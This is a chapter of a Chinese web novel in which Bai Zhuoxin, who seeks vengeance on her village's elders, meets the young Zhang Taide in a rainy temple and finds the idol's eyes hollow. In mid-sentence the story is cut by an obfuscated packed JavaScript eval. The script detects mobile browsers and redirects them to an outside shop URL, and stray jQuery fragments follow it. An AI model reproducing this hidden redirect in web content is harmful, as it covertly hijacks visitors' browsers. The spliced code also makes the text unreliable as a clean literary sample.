我和张泰德，相识于1962年的早春。


    还记得第一次见到他，是在神像庙前。我站在实现了心愿的神像前，已经整整站了两个时辰。


    我在一一还愿，将最近的种种说与神像听。香火烧得极旺，供盘上堆满了花果。


    转身时，却撞见了洞壁里一张忽明忽暗的脸，那是张泰德二十岁时的脸。


    浓色的眉眼，还带着他未经世事的纯粹，浑身散发着熠熠生辉的少年气。


    “你好。”


    他的声音很清朗，就像山涧里的泉水。


    张泰德站在外沿，手里提着一盏煤油灯。昏黄的光笼着他，他穿着藏蓝色的中山装，领口一丝不苟地扣到最上面一颗，衣服上有些水渍。


    “外面忽然下了雨，我能否……”他朝庙内望了望，“进来避一避？”


    我愣了愣，随即点点头。或许是方才太用心地参拜，竟完全没有察觉到外面已经下了雨。


    他走进来，把煤油灯放在供桌上，走到我身边站定。他个子高，我得微微仰头才能看到他的脸。“这里是座庙？”


    我没答话，只是觉得他好看，忍不住看长了些。


    他四处张望，注意到了似菩萨又似邪神的神像，看了很久，才轻轻说：“塑得不像。”


    “不像什么？”我说。


    神像庙里忽然安静下来，只剩下淅淅沥沥的雨声。1962年的春天来得迟，正月都过完了，风里还带着腊月里的寒气。


    “不太像神仙。”张泰德耸了耸肩。


    我看向他，反驳：“有人供它，它就会是神仙。”


    “你信它？”


    我点点头，他却投以短暂的笑意。


    “我叫张泰德，你叫什么名字？”


    “白濯心。”


    “噢……”他听完，自顾自地继续笑道，“我听过你的名字，你让村里不太平了一阵。”


    突兀地听见这句评判，我不太喜欢，眼神里自然是无奈，他指的“不太平”是大多人对我的评价。


    保守派的那些族老虽然离开了村子，在那场风波后就偃旗息鼓，可暗地里的小动作从来没断过。朱阿绣上个月来找我，说看见大族老带着人在村子附近活动，还听说他们闹到了其他村子，乱传村里的谣言，还有的并没和村里人断干净，听说还有私下的联系。


    “不太平……”我顿了顿，眼神里尽是悲情，“是因为我们实现了他们不想要的太平。”


    他微微偏过头，看着我时，那双纯粹的眼睛里没了评判，倒像是有几分探究。


    “我刚回来的时候……”他声音很沉，“就听家里亲戚说了些事，镇上也听到了些传闻。”


    “传闻什么？”


    “说张兴村出了个妖女，忤逆了老祖宗的思想，让那些被拴在家里十几年的女人，一个个都挺直了腰杆压了男人一头。”他顿了顿，目光又转向那座神像，“还说……你屋子里供着的不是正经的神像。”


    我心里咯噔一下，面上却不动声色：“那什么才是正经的神像？”


    “观音菩萨、如来佛祖？他们说能让人心里踏实，能指引人向善的，才是真正的神仙。”张泰德说这话时，神情很认真，不像是揶揄，更像是在陈述一个他听见的真理。


    雨忽然下大了，砸在庙顶的瓦片上，噼啪作响。供桌上的煤油灯和香烛的火焰剧烈地晃动了几下，我左眼皮忽然微微跳动。


    “你也觉得我不正经？外人都是怎么说村里以前的事的？”我移开目光，看向洞外漆黑的雨幕。


    “只知道一点，我爹娘没在村里住，也没多打听。但村里的亲戚偶尔会提，说张兴村的女人，就像地里的草，一茬一茬，生下来就定了命数。”他走到庙门口，伸手去接屋檐下成串滴落的雨水，“我是从小被送到镇上读书的，家里的事参与得少，这次回来过年，只觉得村子……很安静，静得让人不舒服。”


    “不是安静。”我纠正他，“是太平，是胜利，是我们赢了。”


    他转过身，背对着洞外渗透的黑暗，看着我。“那是谁输了？是那些离开的族老？”


    我没点头，也没摇头，却不知自己为何有闲心同一个陌生人在这里争论。


    “他们没输，他们人虽走了，根还在。就像你说的，村子里还有他们的人，镇上也少不了他们的耳目。”张泰德看着我。


    “你……”我很意外他对村里的情况还算比较了解，“我和阿绣最近在查账，村里的旧账，粮食的出入，人口的登记……的确很多地方都对不上。像是有人，提前抹掉了一些东西。”


    张泰德的脸色在摇晃的灯烛下变得有些严肃，他没接话，只是走回供桌边，拿起那盏煤油灯，举高了些，昏黄的光晕向上扩散，勉强照亮了神像那张似笑非笑，似凶非凶的脸。


    “你来这里是想求什么？”他忽然问，声音压低了，“是求它保佑你们平安，还是求它……继续对付那些人？”


    我猛地抬眼看他。


    他举着灯，光从他下颌往上打，让他的表情有些模糊不清，只有那双眼睛，亮得惊人，里面映着两点跳动的火苗，也映着我微微苍白的脸。


    “有区别吗？”


    “有。”他答得很快，“如果只是求自保，那是人之常情。如果求的是让它去害人……”他摇了摇头，没再说下去，但意思再明白不过。


    庙里的空气再次僵硬，我们两人之间不知不觉起了无声的对峙。


    过了很久，也许只是几息，我缓缓吐出一口气，肩膀塌下去一点。“我求的，是让该遭报应的人，一个也别逃掉。让那些被他们祸害过的、再也发不出声音的人，能闭上眼。”


    这不是假话，每次跪在神像前，我脑子里闪过的，是母亲的惨死，是没能救下的女子绝望的脸，是曾经经历的血泪……


    我烧的每一炷香，供的每一盘果，心里念着的，都不是还愿，而是许愿和诅咒。


    张泰德静静地看着我，然后，他做了一件让我意想不到的事。他端着那盏煤油灯，走到神像面前，把灯举到与神像的眼睛齐平。


    “你看。”他低声说，不知是对我说，还是对神像说，“它的眼睛，是空的。”


    我心头一震，不由自主地走上前。凑近了，在煤油灯清晰的照明下，我才看清，神像原本该是眼珠的位


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17259772|190971||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    置，只有两个深不见底，又粗糙的凹陷。


    往日庙里光线昏暗，香火缭绕，竟从未察觉。那空洞的眼窝，此刻正“望”着我们，没有慈悲，没有愤怒，什么都没有，只有一片虚无的黑暗。


    “怎么会……”我喃喃道。


    “雕刻它的人……”张泰德的声音很稳，却带着一股寒意，“要么，是不想让它看到某些事；要么，是想让它看只该看的东西。”


    该看的东西？什么东西是该看，而原先不该看的？我回溯到从前，遇见它，它再入梦，再不断推着我往前走。却从来没注意过，它也是失明了的。


    “你在想什么？”张泰德问。


    “没什么。”我迅速收敛心神，不能自乱阵脚。无论这神像的眼睛是怎么回事，我和朱阿绣要做的事，一直都不会变。“雨好像小了，你该回去了。”


    张泰德看了看门外，雨势确实渐渐减弱。他没有立刻离开，而是从怀里掏出一块叠得方方正正、洗得发白的手帕，递给我。“擦擦吧，你肩膀上也淋湿了。”


    我这才感觉到左肩有凉意，大概是外面的冷风吹进来的雨丝。


    我并没有接，他的手就那样固执地伸着，煤油灯被他放在了一边，光线黯淡下来，他整个人有一半隐在阴影里，只有那双眼睛和握着帕子的手，清晰而坚定。


    僵持了片刻，我还是接了过来。布料很柔软，带着一点阳光晒过的皂角味，和他身上那股少年气很配。


    “谢谢。”


    “不用谢。”他笑了笑，那笑容驱散了些许庙里阴郁的气氛，“我暂时不走了。”


    “什么？”


    “我向队里申请了下乡支援，正好分到咱们村子的公社。过几天手续办好，我就过来。”他重新提起煤油灯，光晕再次将他笼罩，“我会认字，也读了很多书，我会算账，也能跑腿。镇上、县里，我也认识几个人。或许……能帮上点忙。”


    我捏着那块微湿的手帕，愣住了。帮忙？一个突然出现在神像庙前的陌生人，为何要掺和进张兴村这摊污糟事里？


    “为什么？”我听到自己问。


    他走到庙前，一只脚已经踏入了洞外湿漉漉的黑暗，闻言回过头，雨水顺着他乌黑的发梢滴落。他的眼神清澈而坦荡，看着我说：


    “‘不太平，是因为他们不想要的太平’。我觉得，你说得对。”


    “太平不该是某些人手里的玩意儿，想要就要，想掀就掀。”


    “真正的太平，得是大家都认的，心里都踏实的。”


    说完，他冲我点了点头，转身走入了渐渐停歇的春雨中。藏蓝色的身影很快被夜色吞没，只有那盏煤油灯的光，像一颗微弱却执拗的星子，在蜿蜒的村路上晃动着，越来越远，最终消失不见。


    我独自站在神庙里，手里还攥着那块手帕。供桌上的香快要燃尽了，最后一点猩红的光在灰烬里明明灭灭。我抬起头，再次看向那座神像。


    在几乎彻底黑暗下来的洞壁里，那空洞的眼窝更加深邃骇人。可奇怪的是，这一次，我心底翻涌的竟隐隐生出一丝极其微弱的、连自己都不敢确认的……


    温暖。